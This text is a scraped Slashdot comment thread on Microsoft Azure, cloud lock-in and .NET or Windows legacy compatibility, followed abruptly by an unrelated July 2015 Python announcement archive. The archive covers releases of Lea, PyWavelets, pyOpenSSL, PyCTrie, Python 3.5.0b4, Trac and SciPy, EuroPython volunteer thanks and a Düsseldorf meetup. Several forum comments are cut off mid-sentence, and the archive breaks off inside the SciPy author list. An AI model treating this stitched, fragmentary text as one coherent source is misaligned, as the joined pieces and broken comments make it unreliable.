.NET 1.1 to 2.0, 2.0 to 3.0 and 3.0 to 3.5... The list is extremely small and I can only think of one from version 1.1 to 2.0 that was in the System.Data namespace and a method got removed.
They do have a point about lock-in with Microsoft's cloud environment, but don't you have that everywhere? Amazon, Google Apps, none of them are interoperable or interchangeable right now, right?
Re:Ms is better at legacy support than anyone (1)
timmarhy (659436) | more than 5 years ago | (#25592143)
Re:Ms is better at legacy support than anyone (0)
Anonymous Coward | more than 5 years ago | (#25592623)
this is bullcrap. MS is better than ANYONE at providing legacy support for old platforms. look at how long win32 stuck around?
And win16. I have a very old copy of Aldus Photostyler (on 3 floppies), and it still works great for image editing.
likely developers won't be forced forward (2, Interesting)
icepick72 (834363) | more than 5 years ago | (#25591153).
Just the opposite of what MS does (0)
Anonymous Coward | more than 5 years ago | (#25591201)
MS has always put compatibility with legacy APIs first. Even when it means a bolted-together architecture. With old, obsolete, and undocumented API calls being preserved just because some legacy app might call them.
In fact, if Azure actually did the opposite of what this article with no details claims, I'm sure we'd see another Slashdot article slamming MS for not breaking an old API to give us a nice architecture.
Is this any different than Gooogle App Engine? (3, Interesting)
abh (22332) | more than 5 years ago | (#25591283)
I haven't delved deep into the workings of either... but is the Azure/Microsoft lockin any different than lockin would be in writing apps for Google's App Engine?
They finally found a way to (0, Offtopic)
Tablizer (95088) | more than 5 years ago | (#25591337)
...rip Visual Basic 6 from your cold, dead fingers.
Exactly like OS X. (5, Interesting)
SanityInAnarchy (655584) | more than 5 years ago | (#25591345) (2, Interesting)
Orion Blastar (457579) | more than 5 years ago | (#25591727) old 68K and PowerPC AmigaDOS/Workbench 1.X and 2.X programs under it without too many problems, and even gave legacy rights to a group to create an open source version of AmigaOS 3.1 called AROS [sourceforge.net] Amiga Research OS that can run on i386 and PowerPC systems and have built in emulation for 68K Amiga code based on UAE with their own version of Kickstart in AROS with backwards compatibility.
Amiga got it right, Microsoft and Apple didn't, for solving Legacy Software problems.
Re:Exactly like OS X. (0)
Anonymous Coward | more than 5 years ago | (#25592267)
Why would MS bother to virtualize older OSes? The system they've got now works well enough already. WoW (Windows on Windows). Compatability layers implemented as subsystems independent of, and running parallel to the main subsystem. It's how Vista runs 32 and 16-bit applications, and it's how XP runs 16-bit apps without DOS.
It's already there, it's seamless, invisible to the end user (just run the executable) and most importantly, it works. Why change it? Fun part is removing the unnecessary subsystems is just a case of nuking a few DLLs.
upgrades = good (0)
davek (18465) | more than 5 years ago | (#25591475)
Kudos to microsoft for forcing people onto an upgrade path. Nearly all of my headaches in support are from clients running 10-year-old software who refuse to upgrade, and then complain that they still have bugs. I would love to tell my boss that these delinquent clients will be cut off, not only because we say so, but because our software overlords dictate that it must be done.
Disbelief? (0)
Anonymous Coward | more than 5 years ago | (#25591605)
I can't believe the disbelief people are showing towards this direction.
The framework is just another implementation of
.NET, with usage tracking, and auditing for billing purposes.
In the future, Microsoft will host your applications,and you will pay a "small monthly fee" for basic usage and storage. You will also pay "micro payments" for CPU utilization, and pay-per-use applications.
Don't believe it will work? It works for cellphones. Cellphones are a "necessity" and people will pay whatever the prevailing rate is without question.
Say good bye to the "personal" computer, and hello to your "computing appliance" that you will rent for a "small monthly fee".
I'd stop worrying about "open source" too, since only "approved" clients will be allowed on the "community network", all available for a "small monthly fee".
It's those pesky developers, network owners, content owners, etc who all want some compensation.
Get ready to enjoy the computing again, for a "small monthly fee".
Windows Legacy Programs (1)
Orion Blastar (457579) | more than 5 years ago | (#25591693) scratch rather than try to convert code from VB 6.0 to VB.Net, but they didn't believe me. Then after they fired me for being sick on the job they found out I was right as they ran into a lot of issues and bugs with Visual BASIC.Net as I told them on my reports of it.
Might as well screw Microsoft as Microsoft has screwed developers at least three times now. Then screw Microsoft by adopting Python, Java, Ruby, Perl, Free Pascal, Delphi, or some other competing platform to Visual Studio and Cloud Windows Azure.
I would really like to see Linux or BSD Unix develop their own cloud computing that runs from the web to counter what Microsoft is doing.
I got a theory that using Novell Mono [mono-project.com] would be a gateway language for Windows developers to switch to, before switching to something else and develop VB.Net code in Mono for Linux, BSD Unix, Solaris, Mac OSX, etc, and leave Microsoft altogether and screw them for screwing developers too many times.
So here's the thing... (1)
JustNiz (692889) | more than 5 years ago | (#255917 of this will nearly all be doing it for those reasons rather than there being any actual benefit to end-users, or even if there are disadvanteages to end-users.
Fuck cloud computing (0, Redundant)
bluefoxlucid (723572) | more than 5 years ago | (#25591819)
Move my computing to some insecure, long-latency remote location that I lose access to when my ISP decides to have down time? I'm already well-connected (IM, IRC, news through the Internet, system software updates, inter-operating with other human beings far away via the Internet, etc); why in the hell would I suddenly want to find out I can't edit a report or write program code because my ISP's end-point router has decided to route my packets to itself for the moment and I can't reach the cloud?
Ubuntu please.
As if Google, Amazon, & Salesforce won't lock- (2)
healyje (920021) | more than 5 years ago | (#25591835)
Less locked-in than poster suggests (0)
Anonymous Coward | more than 5 years ago | (#25592187)
The lock-in mentioned by the poster is not nearly what he makes it seem. Microsoft is making efforts to support non-MS software platforms (they specifically mentioned PHP).
Also, you c
MS finally competing on an equal footing (1)
caseih (160668) | more than 5 years ago | (#25592427) Azure is no different than the jump to, say, django on Amazon's cloud service. Or IBM's or whatever. So when it comes to cloud computing, MS has to compete like any new service. This is a good thing. Of course they are trying to apply their standard business techniques to it (lock-in, etc), but that's likely to fail as the other alternatives are just as capable without the lock-in. It will be fascinating to see how MS does when it is forced to actually compete with strong competitors and capable and entrenched existing systems. Unless they can find a way to strongly tie into their win32 platform (say some kind of MS Office/Sharepoint integration that is the cat's pajamas, or some kind of integration with IE for the client side), I don't think they can honestly remember how to compete here. Should be interesting, especially as PHBs have wisened up a bit over the years. | http://beta.slashdot.org/story/109429 | CC-MAIN-2014-15 | refinedweb | 6,239 | 72.05 |
Created on 2018-03-24 18:16 by levkivskyi, last changed 2018-03-25 09:21 by levkivskyi.
Currently this code
def f(x: int = None):
pass
get_type_hints(f)
returns {'x': Optional[int]}. I propose to abandon this behaviour. Although there is not yet a definitive decision about this aspect of PEP 484, see, I think at least at runtime we should not do this.
I'm not sure we should change this ahead of a definitive decision. When you use mypy with the option that forbids it, your program will be invalid, and it doesn't really matter what we do at runtime; but that option is not the default yet, and without that option, mypy treats the type as Optional[int].
OK, let us then keep this issue as a remainder that we need to update the runtime behaviour when the static one changes. | https://bugs.python.org/issue33133 | CC-MAIN-2021-17 | refinedweb | 146 | 69.01 |
Today’s Programming Praxis problem is about palindromic numbers, i.e. numbers that read the same backwards and forwards, such as 1001 or 35753. As mentioned in the comments, the provided solution is not particularly elegant. Let’s see if we can do better.
First our import:
import Data.List.Split
This is all we need to get the next palindrome. The reason I’m returning a String instead of an Integer is because converting a one million-digit string is not a very fast process. The read function from the prelude takes forever, and a custom function took about 4 seconds. Since nextPalindrome (10^1000000) takes about 2 seconds, that would triple the execution time.
nextPalindrome :: Integer -> String nextPalindrome n = palindrome r where l = length . show $ n + 1 [s, m] = splitPlaces [div (l - 1) 2, 2 - mod l 2] $ show n palindrome x = x ++ drop (mod l 2) (reverse x) r = if head m > last m then s ++ [head m] else take (div (l + 1) 2) . show $ div n (10 ^ div l 2) + 1
Does it work? Let’s test. I’m only checking the first 10^5 instead of 10^6 numbers here so codepad doesn’t time out, but naturally it works correctly for all numbers.
main :: IO () main = do print $ map nextPalindrome [0, 88, 808, 1999, 2133, 9999, 99999] print $ (takeWhile (<= 10^5) $ iterate (read . nextPalindrome) 0) == filter (\x -> show x == reverse (show x)) [0..10^5]
Seven times shorter than the provided solution and about half the length of the other Haskell solution. Good enough for me.
Tags: kata, palindorme, praxis, programming
May 22, 2009 at 10:12 pm |
Updated nextPalindrome to be one line shorter and 50% faster.
May 22, 2009 at 11:50 pm |
Remco, please try nextPalindrome 9919.
May 23, 2009 at 7:20 am |
Right you are. I’ve posted a new version that handles this correctly. | http://bonsaicode.wordpress.com/2009/05/22/programming-praxis-%E2%80%93-the-next-palindrome/ | CC-MAIN-2014-35 | refinedweb | 316 | 82.54 |
Proposal for Test data fixtures in Grails
This proposal aims to aid unit tests that depend upon persistent domain objects. The idea is inspired by Rails' test fixtures.
Background
Unit testing is important. But when you're developing in a dynamic language/framework like Groovy/Grails, where there isn't an explicit compilation phase to flag up silly errors, and there isn't the same refactoring support of modern IDEs for statically-typed languages, it's even more important to unit test.
Unit tests are only useful if the data they run on does not change between test runs. If your tests run on data that is not under the control of the testing mechanism itself and that data changes, it can break your tests, even without touching a line of code! Then what use are your tests? It's better to have a dedicated test database and test data.
Requirements
A "test fixtures" mechanism with the following characteristics:
- Each domain model class has an associated list of test data fixtures
- The test fixture data is human-readable "serialized" instances of the domain model objects (could use groovy's literal Map (propertyName/value) or List (table columns) for example)
- Each unit test class (or method) declares which domain model class's fixtures it requires
- As part of each test-method-lifecycle, the database is cleaned and the required test fixture data is loaded (could hook in to, startup/teardown)
- The test fixture data is placed within the Grails application directory structure
- The relationships of dependent domain objects can be expressed, ie, the data of domain model's test fixtures can depend upon another model's test fixtures
Possible additional nice to haves
- Ant target to run a single test class
- Ant target to copy the development schema to the test datasource
- Ant target to export test/development database data to fixtures file
An example
Let's say I am modelling places and I have Country, Region an City domain models.
In order to test instances of these classes I would have separate text fixtures files for each model class: one for Country, one for Region, one for City. My Country test fixtures would include "USA", "England", "Spain", etc. My Region text fixtures might include an instance for "New York" and "Connecticut" and my City test fixtures might include a "New York City", etc.
In my domain models, City belongs to a Region, and Region belongs to a Country. It is possible to determine the relationships of specific instances of text fixtures from the test fixtures data alone, for example, that the "New York City" City fixture belongs to the "New York" Region fixture and that belongs to the "USA" Country fixture, by foreign keys or some shared symbol.
Now I have some complex logic in each of these classes I want to test so I want to write a unit tests for each.
My Country class only depends on itself (not Region or City), at least for the sake of this argument, so I only need to declare that my Country tests use the Country fixtures.
Now because the code in the City class I want to test does reference it's parent Region and Country, in the tests for City I declare that I need the Country, Region and City fixtures.
Benefits
- Tests don't have to worry about loading or cleaning data - they just test. Likewise the test framework takes care of loading and cleaning test data. This is good separation of concerns.
- Each test runs on clean data, so tests are independent. Thus order is unimportant and it be possible to run a single test class or even method on its own.
- Test fixtures files are version controlled along with the tests and the code they test
- Test fixture data is human readable and editable in a text editor along with the code and tests
Objections
Why not just maintain the data in a test schema?
- It's fragile. Teams need to constantly share and update data from each other, which can cause a data merge pain.
- Each test does not run on clean data, unless there's an explicit cleanup part of the test, which is not good separation of concerns and error-prone.
- It's not easily version controlled.
- It's not easily searchable and causes a mental "context switch" going from text editor to database client.
- Grails is doing a good job of abstracting the database - do we want to force people to resort to the database client afterall?
Why not just run tests on the development database?
- It's fragile for the reasons as above. Plus, the data almost certainly will change and break tests.
Isn't going to be pain maintaining both development and test data?
- Well there is an overhead for sure, but you only need as much test fixture data as you have functionality to test and if you've already seen the unit testing light, then you'll know it's worth it.
What about this or that Java/Groovy framework that already does this kind of thing?
- Great - maybe we can use it?
Solution discussion
This area is a whiteboard for discussing possible solutions
We need to agree on
- A term for the fixtures
- A file type and name convetion
- A syntax
- A directory
- Test case data declaration
- Implementation details
Name
We think "dataset" may be a better name than "fixture"
File type and name convention
Probably groovy files named domain model name + "Dataset".
Syntax
Maybe something like
class CountryDataset { def dataset = { [ italy: [name: "Italy", code: "IT"], france: [name: "France", code: "FR"] ] } }
class RegionDataset { def dataset = { [ tuscany: [name: "Tuscany", country: italy], provence: [name: "Provence", country: france ] ] } }
class CityDataset { def dataset = { [ florence: [name: "Florence", region: tuscany], marseilles: name: "Marseilles", region: provence] ] } }
Data can be auto-generated:
class UserDataset { def dataset = { def users = [] for (i in 0..100) { users << [name: "user_${i}", password: "dontcare"] } return users } }
Questions
What about the version and id properties? Can they be explicity stated in the datasets. Test cases will certainly obtain known instances by id in test cases.
How are dependencies resolved? Is it necessary to prefix references with domain model name like
[ florence: [name: "Florence", region: Region.tuscany],
or can the Region dataset "instances" be somehow exposed to the City dataset instances, in this example?
Should we go with Map literals or are constructors better? In other words,
florence: [name: "Florence", region: tuscany]
is less verbose but pretty close to
florence: new Region(name: "Florence", region: tuscany)
A directory
We could reorganise the directory structure to house all test atrifacts under grails-tests (like Rails):
grails-app -- for development/production env grails-tests -- for test env unit webtest (ie, functional) datasets
or is there a Maven2-style structure?
Test case data declaration
Test case classes can declare that they require some or all fixtures, eg:
class CountryTests extends GroovyTestCase { def requireDataset = Country }
or
class CityTests extends GroovyTestCase { def requireDataset = [ Country, Region, City ] // or lazily as "def requireDataset = ALL" }
Implementation details
We discussed DbUnit, but feet it's going to be more integrated and conceptually cohesive with Hibernate.
Oct 02, 2006
graeme says:Marc and I have kind of been debating the need for this. Is it overkill? Can you...
Marc and I have kind of been debating the need for this. Is it overkill? Can you put forward the arguments as to why you think this is necessary and can't just be done using an enviornment specific bootstrap class?
Otherwise with regards to the syntax, using the map syntax is a little ugly. I would do it with Groovy's builder syntax instead. Also I think class names are unnecesary and scripts should be used instead:
Oct 02, 2006
graeme says:And for dynamic construction that would be: UserDataSet.groovy dataset { de...
And for dynamic construction that would be:
Oct 02, 2006
Marc Palmer says:Just to clarify Graeme's comments about bootstrap, we could do this trivially us...
Just to clarify Graeme's comments about bootstrap, we could do this trivially using the same conventions we use elsewhere and no new DSL:
This would be run only when in the Test environment. This has the huge benefit that we use coding style we already have, we use all the same concepts, and we use the same mechanism for references between data entities as you do when working with the domain classes everywhere else in the application.
Oct 02, 2006
graeme says:The main downside that I can of having a single TestBootStrap class is that it l...
The main downside that I can of having a single TestBootStrap class is that it limits you to a single "dataset" in terms of the test data you're working with.
Whilst with the dataset approach you can say:
def dataSets = [First,Second, Third]
To load an arbitrary data in. I'm not sure how severe a limitation this is.
Oct 02, 2006
Maurice Nicholson says:I'm not really emotionally attached to the original syntax, and the builder styl...
I'm not really emotionally attached to the original syntax, and the builder style looks good.
However there are serious limitations to doing it in an environment specific bootstrap class.
Unit testing is all about testing "units" - that is small discrete units of code. It should be possible to run tests in any order, or in isolation, or just delete some and run the rest. If that is not possible, then you are no longer testing units and your unit tests can become a fragile mess.
Now consider how it would work if there was a single set of data created once at the start of ALL tests, for ALL tests to share. One of two things happens:
either
1) your tests do ZERO maintanence of the test data itself. So tests become highly coupled, because prior tests are maniuplating data that subsequent tests will use. They have to run in order, which is not always that easy. You always have to run them all, rather than being able to run them one at time. What happends when I add new tests, which breaks the existing order and has a side effect on a subsequent test ... hmmm not very unit-y.
or
2) you maintain the test data within each test, maybe setting-up or resetting it at the start or end of tests. Ok this is a bit better, at least tests are isolated from each other, but the code has low cohesion, so again not great.
The obvious solution is to abstract this setup/cleanup code cleanup out into the test method lifycycle (using say the setUp/tearDown methods), which leaves the test methods themselves soley concentrating on testing, and importantly, run in a known state every time.
Furthermore, the granularity of delcaring a domain class's dataset in separate files means that tests only need to use the data that they require. In other words, some tests will only require one or two tables populated whereas others will require more.
I really don't think its overkill, but I will admit that its not a feature that comes bundled with many MVC frameworks. That said, though many developers still do not write tests (shame
), comprehensive baked in support for testing could be the deciding factor for some organisations.
Of course it could always be a plugin if you don't think it belongs in core.
Oct 02, 2006
Marc Palmer says:Why can't we use TestBootstrap, and the bootstrap is run for every test against ...
Why can't we use TestBootstrap, and the bootstrap is run for every test against a blank DB?
OK there might be a bit of a performance hit but it's a simple solution. If you are sanely testing against a proven in-memory DB implementation, coupled with Hibernate's caching, it shouldn't be much of an issue.
I suppose there is the hibernate init overhead, but couldn't we have some smarts in there to keep the same hibernate config going across all tests, but have it drop all data and re-run the TestBootstrap for each test?
Oct 02, 2006
Maurice Nicholson says:Well, that is kind of what I'm talking about, although not dedicated to testing....
Well, that is kind of what I'm talking about, although not dedicated to testing. It could could work, but what about when there is other stuff in the bootstraper class? All I am interested in is the persistent domain models.
Actually I would not be suprised if people begin to ask for this functionality outside of Grails, like they are with GORM, because it's a common requirement and Groovy seems to be a popular tool for unit testing traditional Java applications. But I'm not saying that should be a requirement or anything.
People should be able to choose the database using TestDataSource.groovy (or their chosen env). Personally I prefer a dedicated test database of the same implementation as my dev and production, because I know that way I won't be suprised by case-(in)sensitivy issues when it's time to go live, for example. | http://docs.codehaus.org/display/GRAILS/Test+data+fixtures | crawl-002 | refinedweb | 2,196 | 57.81 |
2015
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34 participants
45 discussions
Start a n
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ANN: Lea 2.1.2
by Pierre Denis
31 Jul '15
31 Jul '15
I am pleased to announce the release of Lea 2.1.2! There are NO known open bug in this version. Please note the migration of the project to Bitbucket (see URL below), due to the approaching end of Google Code. What is Lea? ------------ Lea is a Python package aiming at working with discrete probability distributions in an intuitive way. It allows you to model a broad range of random phenomenons, like dice throwing, coin tossing, gambling, weather, etc. It offers several modelling features of a PPL (Probabilistic Programming Language), including bayesian inference and Markov chains. Lea is open-source (LGPL) and runs on Python 2 or 3. See project page below for more information (installation, tutorials, examples, etc). Lea project page ----------------
Download Lea (PyPI) -------------------
With the hope that Lea can make your fun less uncertain, Pierre Denis
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ANN: PyWavelets 0.3.0 release
by Ralf Gommers
30 Jul '15
30 Jul '15
Dear all, On behalf of the PyWavelets development team I'm excited to announce the availability of PyWavelets 0.3.0. This. Sources and release notes can be found on
and
. Activity on the project is picking up quickly. If you're interested in wavelets in Python, you are welcome and invited to join us at
Enjoy, Ralf ============================== PyWavelets 0.3.0 Release Notes ============================== PyWavelets 0.3.0. ============ Test suite ---------- The test suite can be run with ``nosetests pywt`` or with:: >>> import pywt >>> pywt.test() n-D Inverse Discrete Wavelet Transform -------------------------------------- The function ``pywt.idwtn``, which provides n-dimensional inverse DWT, has been added. It complements ``idwt``, ``idwt2`` and ``dwtn``. Thresholding ------------ The function `pywt.threshold` has been added. It unifies the four thresholding functions that are still provided in the ``pywt.thresholding`` namespace. Backwards incompatible changes ============================== None in this release. Other changes ============= Development has moved to `a new repo <
>`_. Everyone with an interest in wavelets is welcome to contribute! Building wheels, building with ``python setup.py develop`` and many other standard ways to build and install PyWavelets are supported now. Authors ======= * Ankit Agrawal + * François Boulogne + * Ralf Gommers + * David Menéndez Hurtado + * Gregory R. Lee + * David McInnis + * Helder Oliveira + * Filip Wasilewski * Kai Wohlfahrt + A total of 9 people contributed to this release. People with a "+" by their names contributed a patch for the first time. This list of names is automatically generated, and may not be fully complete.
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EuroPython 2015: Thank you to all volunteers
by M.-A. Lemburg
30 Jul '15
30 Jul '15
EuroPython is now over and was a great success thanks to everyone who helped make it happen. Unfortunately, we did not properly acknowledge all the volunteers who were working on the event during the closing session and we would like to apologize for this, so here’s the full list of all volunteers from the EuroPython 2015 Workgroups and the on-site volunteers: ***
*** On-site Team WG --------------- * Oier Echaniz Beneitez (Chair) * Borja Ayerdi Vilches * Alexandre Savio * Darya Chyzhyk * José David Nuñez * Luis Javier Salvatierra * Ion Marqués Conference Administration WG ---------------------------- * Marc-Andre Lemburg (Chair) * Vicky Lee * Rezuk Turgut * Stavros Anastasiadis * Stéphane Wirtel * Borja Ayerdi Vilches * Oier Beneitez Finance WG ---------- * Borja Ayerdi Vilches (Chair) * Fabio Pliger * Marc-Andre Lemburg * Vicky Lee * Rezuk Turgut * Jacob Hallén (EPS Treasurer) * Darya Chyzhyk Sponsors WG ----------- * Fabio Pilger (Chair) * Alexandre Savio * Borja Ayerdi Vilches * Marc-Andre Lemburg * Vicky Twomey-Lee * Hansel Dunlop * Raúl Cumplido * José David Muñez * Oier Echaniz Beneitez * Miren Urteaga Aldalur Communications WG ------------------ * Marc-Andre Lemburg (Chair) * Oier Beneitez * Kerstin Kollmann * Fabio Pliger * Vicky Lee * Dougal Matthews * Chris Ward * Kristian Rother * Stéphane Wirtel * Miren Aldalur Support WG ---------- * Raúl Cumplido * Anthon van der Neut * Alexandre Savio * Ion Marqués * Christian Barra * Eyad Toma * Stavros Anastasiadis Financial Aid WG ---------------- * Darya Chyzhyk * Vicky Twomey-Lee * Ion Marqués * Stéphane Wirtel Marketing/Design WG ------------------- * Darya Chyzhyk * Marc-Andre Lemburg * Borja Ayerdi Vilches * Alexandre Savio * Miren Aldalur * Stéphane Wirtel * Zachari Saltmer Program WG ---------- * Alexandre Savio (Chair) * Alexander Hendorf (Co-chair) * Vicky Twomey-Lee * Kristian Rother * Dougal Matthews * Sarah Mount * Raúl Cumplido * Adam Byrtek * Christian Barra * Moshe Goldstein * Scott Reeve * Chris Ward * Claudiu Popa * Stavros Anastasiadis * Harry Percival * Daniel Pyrathon Web WG ------ * Christian Barra (Chair) * Oier Beneitez * Marc-Andre Lemburg * Adam Byrtek * Dougal Matthews * Raúl Cumplido * Fabio Pliger * Eyad Toma * Stéphane Wirtel Media WG -------- * Anthon van der Neut * José David Muñez * Luis Javier Salvatierra * Francisco Fernández Castaño * Fabio Pliger On-Site Volunteers ------------------ In addition to several of the EuroPython Workgroup members, in particular, the on-site team WG, the following attendees helped as session manager, room manager, on the registration desk, bag stuffing and during set up and tear down of the conference. In alphabetical order: * Abraham Martin * Agustín Herranz * Aisha Bello * Alberto Rasillo * Ana Balica * Andrew McCarthy * Anna Bednarska * Anna Téglássy * Austur * Brianna Laugher * Cesar Desales * Christian Barra * Christin Schärfer * Corinne Welsh * Dorottya Czapari * Dougal Matthews * Éléonore Mayola * Eugene Tataurov * Felipe Ximenez * Floris Bruynooghe * Gautier Hayoun * Gregorio Vivo * Harry Percival * Inigo Aldazabal * Iñigo Ugarte Pérez * Ion Marques * Iraia Etxeberria * Iris Yuping Ren * Izarra Domingo * José David Nuñez * Julian Coyne * Julian Estevez * Jyrki Pulliainen * Kasia Kaminska * Kerstin Kollmann * Leire Ozaeta * Luis Javier Salavatierra * Matt McGraw * Maura Pilia * Mikey Ariel * Mircea Zetea * Miren Urteaga * Miroslav Sedivy * Pablo * Patrick Arminio * Paul Cochrane * Peter Deba * Petr Viktorin * Pierre Reinbold * Piotr Dyba * Raul Cumplido * Stefano Fontana * Stefano Mazzucco * Sven Wontroba * Szilvia Kadar * Tomasz Nowak * Victor Munoz Some attendees also helped without being registered as volunteer, e.g. during tear down at the conference venue. We’d like to thank you and acknowledge you as well. If you have helped and are not on the above list, please write to info(a)europython.eu. For next year, we will seek to use a better system for volunteer management and also invest more time into improving the conference opening and closing sessions. Enjoy, -- EuroPython 2015 Team
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ANN: eGenix pyOpenSSL Distribution 0.13.11
by eGenix Team: M.-A. Lemburg
30 Jul '15
30 Jul '15
________________________________________________________________________ ANNOUNCING
eGenix.com
pyOpenSSL Distribution Version 0.13.11 includes the following updates: New in. Please see the product changelog for the full set of changes.
pyOpenSSL / OpenSSL Binaries Included -------------------------------------:. ________________________________________________________________________ MORE INFORMATION For more information about the eGenix pyOpenSSL Distribution, licensing and download instructions, please visit our web-site or write to sales(a)egenix.com. About eGenix (
): eGenix is a software project, consulting and product company focusing on expert project services and professional quality products for companies, Python users and developers. Enjoy, -- Marc-Andre Lemburg
eGenix.com
Professional Python Services directly from the Source (#1, Jul 30
PyCTrie
by Sümer Cip
29 Jul '15
29 Jul '15
Hi all, I have completed a fun project:
PyCTrie Fast, pure C Trie <
> dictionary Features: - Very fast. Same performance characteristics with Python's *dict*. - Supports fast *suffix*, *prefix*, *correction* (spell) operations. - Supports Python 2.6 <= x <= 3.4 P.S: I have tried hard to make generator support on all suffix/prefix/correct operations without additional memory. -- Sümer Cip
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ANN: Python Meeting Düsseldorf - 29.07.2015
by eGenix Team: M.-A. Lemburg
27 Jul '15
27 Jul '15
[This announcement is in German since it targets a local user group meeting in Düsseldorf, Germany] ________________________________________________________________________ ANKÜNDIGUNG Python Meeting Düsseldorf
Ein Treffen von Python Enthusiasten und Interessierten in ungezwungener Atmosphäre. Mittwoch, 29.07.2015, 18:00 Uhr Raum 1, 2.OG im Bürgerhaus Stadtteilzentrum Bilk Düsseldorfer Arcaden, Bachstr. 145, 40217 Düsseldorf Diese Nachricht ist auch online verfügbar:
________________________________________________________________________ NEUIGKEITEN * Bereits angemeldete Vorträge: Charlie Clark "Eine Einführung in das Routing von Pyramid" Marc-Andre Lemburg "Python Idioms - Tipps und Anleitungen für besseren Python Code" "Bericht von der EuroPython 2015" Weitere Vorträge können gerne noch angemeldet werden: info(a)pyddf. Google Street View:
________________________________________________________________________ EINLEITUNG YouTube-Kanal, auf dem wir die: *
*
________________________________________________________________________ PROGRAMM Das Python Meeting Düsseldorf nutzt eine Mischung aus Open Space und Lightning Talks, wobei die Gewitter bei uns auch schon mal 20 Minuten dauern können ;-). Lightning Talks. Folien bitte als PDF auf USB Stick mitbringen. Lightning Talk Anmeldung bitte formlos per EMail an info(a)pyddf.de ________________________________________________________________________ KOSTENBETEILIGUNG Das Python Meeting Düsseldorf wird von Python Nutzern für Python Nutzer veranstaltet. Um die Kosten zumindest teilweise zu refinanzie(a)pyddf.de ________________________________________________________________________ WEITERE INFORMATIONEN Weitere Informationen finden Sie auf der Webseite des Meetings:
Mit freundlichen Grüßen, -- Marc-Andre Lemburg
eGenix.com
Professional Python Services directly from the Source (#1, Jul 27 2015) >>> Python Projects, Coaching and Consulting ...
>>> mxODBC Plone/Zope Database Adapter ...
>>> mxODBC, mxDateTime, mxTextTools ...
________________________________________________________________________ 2015-07-29: Python Meeting Duesseldorf ... 2 days to go :::::
[RELEASED] Python 3.5.0b4 is now available
by Larry Hastings
26 Jul '15
26 Jul '15
On behalf of the Python development community and the Python 3.5 release team, I'm delighted to announce the availability of Python 3.5.0b4. Python 3.5.0b4 is scheduled to be the last beta release; the next release will be Python 3.5.0rc1, or Release Candidate 1. Python 3.5 has now entered "feature freeze". By default new features may no longer be added to Python 3.5. This is a preview release, and its use is not recommended for production settings. An important reminder for Windows users about Python 3.5.0b4: if installing Python 3.5.0b4 as a non-privileged user, you may need to escalate to administrator privileges to install an update to your C runtime libraries. You can find Python 3.5.0b4 here:
Happy hacking, */arry*
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Trac 1.0.8 released
by Ryan Ollos
24 Jul '15
24 Jul '15
Trac 1.0.8 Released =================== Trac 1.0.8, the latest maintenance release for the current stable branch, is available. You will find this release at the usual places:
Trac 1.0.7 was release on the 17th of July, but a regression was discovered and fixed in this release. - the session for an authenticated username containing non-alphanumeric characters could not be retrieved, resulting in the user being denied access to every realm and resource. You can find the detailed release notes for 1.0.8 on the following pages:
Now to the packages themselves: URLs:
MD5 sums: a2fc666afd4e59a72ad76d8292d39111 Trac-1.0.8.tar.gz 9f5b2257bddc6a28c6839e6936ebeddb Trac-1.0.8.win32.exe e30d7ec90664ec43b0e58aec289e0584 Trac-1.0.8.win-amd64.exe 4c3fd76b6fb63975b753fbd6a7cd4523 Trac-1.0.8.zip SHA1 sums: 4f31316a8bd16d7335f0c346dad85654ff5c4837 Trac-1.0.8.tar.gz 4f585f07d1536e67ae0c1665efbec442ad249dd7 Trac-1.0.8.win32.exe 4afeb0da8dde988f8a153454353a5ac5e41c6d3a Trac-1.0.8.win-amd64.exe e1238237433d268762f731b4934d62a85fb40b8b Trac-1.0.8.zip Acknowledgements ================ Many thanks to the growing number of people who have, and continue to, support the project. Also our thanks to all people providing feedback and bug reports that helps us make Trac better, easier to use and more effective. Without your invaluable help, Trac would not evolve. Thank you all. Finally, we offer hope that Trac will prove itself useful to like-minded programmers around the world, and that this release will be an improvement over the last version. Please let us know. /The Trac Team
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ANN: Scipy 0.16.0 release
by Ralf Gommers
24 Jul '15
24 Jul '15
Hi all, On behalf of the Scipy development team I'm pleased to announce the availability of Scipy 0.16.0. This release contains some exciting new features (see release notes below) and more than half a years' worth of maintenance work. 93 people contributed to this release. This release requires Python 2.6, 2.7 or 3.2-3.4 and NumPy 1.6.2 or greater. Sources, binaries and release notes can be found at
Enjoy, Ralf -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ========================== SciPy 0.16.0 Release Notes ========================== SciPy 0.6.2 or greater.. You can run the suite locally via ``python runtests.py --bench``. For more details, see ``benchmarks/README.r: ``scipy.lib.blas``, ``scipy.lib.lapack``, ``scipy.linalg.cblas``, ``scipy.linalg.fblas``, ``scipy.linalg.clapack``, ``scipy.linalg.flapack``. They had been deprecated since Scipy 0.12.0, the functionality should be accessed as `scipy.linalg.blas` and `scipy.linalg.lapack`. The deprecated function ``scipy.special.all_mat`` has been removed. The deprecated functions ``fprob``, ``ksprob``, ``zprob``, ``randwcdf`` and ``randwppf`` have been removed from `scipy.stats`. Other changes ============= The version numbering for development builds has been updated to comply with PEP 440. Building with ``python setup.py develop`` is now supported. Authors ======= * @axiru + * @endolith * Elliott Sales de Andrade + * Anne Archibald * Yoshiki Vázquez Baeza + * Sylvain Bellemare * Felix Berkenkamp + * Raoul Bourquin + * Matthew Brett * Per Brodtkorb * Christian Brueffer * Lars Buitinck * Evgeni Burovski * Steven Byrnes * CJ Carey * George Castillo + * Alex Conley + * Liam Damewood + * Rupak Das + * Abraham Escalante + * Matthias Feurer + * Eric Firing + * Clark Fitzgerald * Chad Fulton * André Gaul * Andreea Georgescu + * Christoph Gohlke * Andrey Golovizin + * Ralf Gommers * J.J. Green + * Alex Griffing * Alexander Grigorievskiy + * Hans Moritz Gunther + * Jonas Hahnfeld + * Charles Harris * Ian Henriksen * Andreas Hilboll * Åsmund Hjulstad + * Jan Schlüter + * Janko Slavič + * Daniel Jensen + * Johannes Ballé + * Terry Jones + * Amato Kasahara + * Eric Larson * Denis Laxalde * Antony Lee * Gregory R. Lee * Perry Lee + * Loïc Estève * Martin Manns + * Eric Martin + * Matěj Kocián + * Andreas Mayer + * Nikolay Mayorov + * Robert McGibbon + * Sturla Molden * Nicola Montecchio + * Eric Moore * Jamie Morton + * Nikolas Moya + * Maniteja Nandana + * Andrew Nelson * Joel Nothman * Aldrian Obaja * Regina Ongowarsito + * Paul Ortyl + * Pedro López-Adeva Fernández-Layos + * Stefan Peterson + * Irvin Probst + * Eric Quintero + * John David Reaver + * Juha Remes + * Thomas Robitaille * Clancy Rowley + * Tobias Schmidt + * Skipper Seabold * Aman Singh + * Eric Soroos * Valentine Svensson + * Julian Taylor * Aman 